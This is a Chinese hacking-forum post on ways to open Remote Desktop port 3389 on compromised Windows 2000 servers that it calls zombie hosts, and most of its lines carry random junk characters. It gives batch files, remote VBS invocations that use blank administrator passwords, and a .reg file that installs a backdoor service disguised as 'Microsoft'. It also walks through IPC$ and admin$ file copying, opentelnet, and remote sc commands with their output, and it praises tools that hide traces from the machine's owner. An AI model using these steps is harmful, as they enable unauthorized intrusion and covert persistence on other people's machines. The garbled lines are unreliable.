几种开3389端口的方法

[hide=60] 1.打开记事本，编辑内容如下： chy7hPxC;  
echo [Components] > c:\sql [M.Vu  
echo TSEnable = on >> c:\sql > 01k u  
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q I/adzLQ  
编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。 J GdVSjNC  
d 9|u~3  
2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 Lqt]  
地址:www.netsill.com/rots.zip R!O'DM+  
使用方法： d;z`xy(C  
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如： 8
miIlB  
XX =A1#H  
c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项] |<E%hf  
{pqm&PB04  
服务端口： 设置终端服务的服务端口。默认是3389。 8r5j~Df  
自动重起选项： 使用/r表示安装完成后自动重起目标使设置生效。 WE3l*7<@  
使用/fr表示强制重起目标。（如果/r不行，可以允哉飧觯?BR>使用此参数时，端口设置不能忽略。 <H.Ml>q:r  
比如扫描到了一个有NT弱口令的服务器，IP地址是222.222.222.222，管理员帐户是administrator，密码为空 Z1&8U=pax  
运行CMD（2000下的DOS），我们给它开终端！ \6o ~ i  
命令如下！ d%<Uh(+:  
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr W\"cp[b  
上面的命令应该可以理解吧？cscript reg.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为222.222.222.222 这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以 /r，这是普通重启） E4PP&'  
[30< 0  
脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。 1t6UI4U!$  
因为pro版不能安装终端服务。 X- zg  
如果你确信脚本判断错误，就继续安装好了。 _.j KcDf  
Gc>\L3u  
如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。 u+*CpKR}  
o_cj-  
脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。 bAgKOfT  
q o'1Pknz  
fQ<V_loP.@  
3，下载3389自动安装程序-djshao正式版5.0 'vXrA  
地址www.netsill.com/djshao.zip 7w9) ^  
说明： b3Do{1BV  
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下，然后进入c:\ winnt\temp目录执行djxyxs.exe解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启！重启后会出现终端服务！ *@yYqI<1a  
Kh27[@s  
特点：1、不用修改注册表的安装路径，注册表会自动修改，安装完后会自动恢复到原来的安装路径，2、在后台安静模式运行，就算肉鸡旁有人也没有关系！3、在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩，4、不会在肉鸡上留下你的上传文件，在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件！5、不管肉鸡的winnt装在什么盘上都无所谓！6、安装完终端后会删除在管理工具中的终端快捷图标！7、在没有安装终端前，终端服务是被禁止的！安装终端后，终端服务被改为自动！但是如果在安装前终端服务是手动！安装后就可能还是手动！等重启后就不会打开服务！所以在软件中加了sc指令，等安装完后，不管终端服务是禁止还是手动还是自动，全部改为自动。8、自动检测肉鸡是不是服务器版，如果不是删除原文件，不执行安装，如果是服务器版就执行安装！9、支持非法内容,请删除韩繁四个版本的win2000服务器版！ PpbW+}aCF  
SkY|.w.  
%FwLFo^v  
4.下载DameWare NT Utilities 3.66.0.0 注册版 1iUy*p65:  
地址www.netsill.com/dwmrcw36600.zip BQm H9g|2  
安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。 T =:^k+  
复制启动后出现对方桌面。 E|No$QO
)  
在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后OK。 I)6)~[:'  
B!,})F$x  
T^"d%au  
５. ruoiG?:T  
"B.lj)  
首先我们制作开启3389的工具 b*$^8%  
先把下面的注册表内容copy一份，另存为3389.reg注册表文件 }hGbF"clqg  
注册表内容： 419t"1b  
Windows Registry Editor Version 5.00 TygRG+G-  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >8ePx,+!  
"Enabled"="0" 3]wV`mD  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] c1c0b|B!U  
"ShutdownWithoutLogon"="0" x.'O_7c0:  
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] K]RkKMT,  
"EnableAdminTSRemote"=dword:00000001 >J4_/p>Qs  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] *-2u0%  
"TSEnabled"=dword:00000001 UlyX$f%2  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] $Cte$jg{;  
"Start"=dword:00000002 `74A'(u_  
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] :
z.<||T  
"Hotkey"="1" JIK;/1  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &D/_@\ 0  
"Start"=dword:00000002 *F=wMWa  
"ErrorControl"=dword:00000001 2Ddrxc>48  
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ hF6EOCY6D  
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ X_XqT  
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 T1Xm^{  
"ObjectName"="LocalSystem" k)4   
"Type"=dword:00000010 ~dC^|  
"Description"="Microsoft" )5B90[M|t  
"DisplayName"="Microsoft" ) ~X\W\  
再把下面的内容保存为批处理文件3389.bat 4rv3D@E  
安装批处理内容： FX\ -Y$K  
copy termsrv.exe eventlog.exe i2EB.Zlv  
regedit.exe /s 3389.reg o#G7gzw)  
del 3389.reg .x}ImI  
del 3389.exe Dk:Zeo]+my  
del 3389.bat F`'e/  
用winrar制作成exe自解压缩包 6zyozJA  
I9_tD@s"(  
61.188.***.*** user:administrato pass:空 )PZ'{S  
先使用工具letmein判断其操作系统 e KET8v[  
letmein \\ip -all -d Kg9REL@,s  
TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 k0%4&pU  
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 ky,+xq  
应该没有开启了 }nuhLt1  
建立ipc连接 \07 s'W U  
copy工具过去 P*
G&pitT  
net use \\ip\ipc$ "pass" /user:name kpEES{f  
copy file \\ip\admin$\system32 $BCqz! 4K  
用opentelnet开对方的telnet Si!W@Jm  
opentelnet \\ip name pass 1 99 w+ bMDp  
用telnet进入 \3x,)~m  
进入到对方的winnt\system32\ QO0T<V  
目录 6Vi #O^>  
解压缩3389.exe iugTXZ(  
运行安装批处理3389.bat Z?X ^7<  
现在我们把对方重起一下，用reboot -]HO8}-Rjs  
!<@Zf4m  
6:J @  
jRzR`>5  
.BZw7 YV  
7. l1a=r:WhH  
"h\{PoG  
检查对方是否真的禁用了Terminal server (Zx;GS  
C:\>sc \\xxx.xxx.xxx.xxx qc termservice om|
M=/^  
[SC] GetServiceConfig SUCCESS SxNs  
SERVICE_NAME: termservice ^qGH77#z  
TYPE : 10 WIN32_OWN_PROCESS #|)GarDG  
START_TYPE : 4 DISABLED 's+ Fd~'  
ERROR_CONTROL : 1 NORMAL -&y{8<bu4H  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe  ]Ocf %(  
LOAD_ORDER_GROUP : a'rN&*P  
TAG : 0 ^!!@O91T  
DISPLAY_NAME : Terminal Services RR*<txdN  
DEPENDENCIES : n"$D/XJO  
SERVICE_START_NAME : LocalSystem %mg |kb6n  
仔细看 START_TYPE一项，显示对方该服务的启动模式为“DISABLED”也就是“禁用”。 =D<46T=(RB  
1vu=2|QN  
ZmUS}  
C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto hI]KT a  
[SC] ChangeServiceConfig SUCCESS =k'3rm*ld  
好了，现在我们已经把对方终端服务的启动模式修改成自动了。 aV,>y"S  
mq do@  
tNoo3&  
/EA4-#uw  
再检查一便对方终端服务的启动模式 P.=&:ay7?  
C:\>sc \\TEST qc termservice R@u6mMX{N,  
[SC] GetServiceConfig SUCCESS  jI[:`  
SERVICE_NAME: termservice @?f3(Gh,  
TYPE : 10 WIN32_OWN_PROCESS [?yOJU%`  
START_TYPE : 2 AUTO_START Xq1n1_Z  
ERROR_CONTROL : 1 NORMAL vH9/}w2  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe wqK>=Ri_  
LOAD_ORDER_GROUP : [-=PK\ B  
TAG : 0 `fj(xrI  
DISPLAY_NAME : Terminal Services iO(9#rV  
DEPENDENCIES : 8S&`  
SERVICE_START_NAME : LocalSystem JIQS'
r  
FD,M.kbg  
P] ouLjyq  
1B}6 zJ  
启动对方的终端服务 |r$Vb$z  
C:\>sc \\xxx.xxx.xxx.xxx start termservice @I_A\ U{  
SERVICE_NAME: termservice J#!:Z8b  
TYPE : 10 WIN32_OWN_PROCESS eOE7A'X  
STATE : 2 START_PENDING 
9Ld3  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) ?x%HQ2`  
WIN32_EXIT_CODE : 0 (0x0) 1.]#FJe  
SERVICE_EXIT_CODE : 0 (0x0) >x eKO2o  
CHECKPOINT : 0x1 &1{RuV
&t  
WAIT_HINT : 0x7530 :I1
)=8lO  
#sw
zZyM$  
3#j%F  
C:\>sc \\xxx.xxx.xxx.xxx query termservice .TSj8,  
SERVICE_NAME: termservice n'U*8ID  
TYPE : 10 WIN32_OWN_PROCESS HJ:s)As  
STATE : 4 RUNNING HBXp#
$dPc  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) _A;jtS)SY  
WIN32_EXIT_CODE : 0 (0x0) l%oie1g l  
SERVICE_EXIT_CODE : 0 (0x0) r*OSEzGUz  
CHECKPOINT : 0x0 y9?BvPp+  
WAIT_HINT : 0x0[/hide]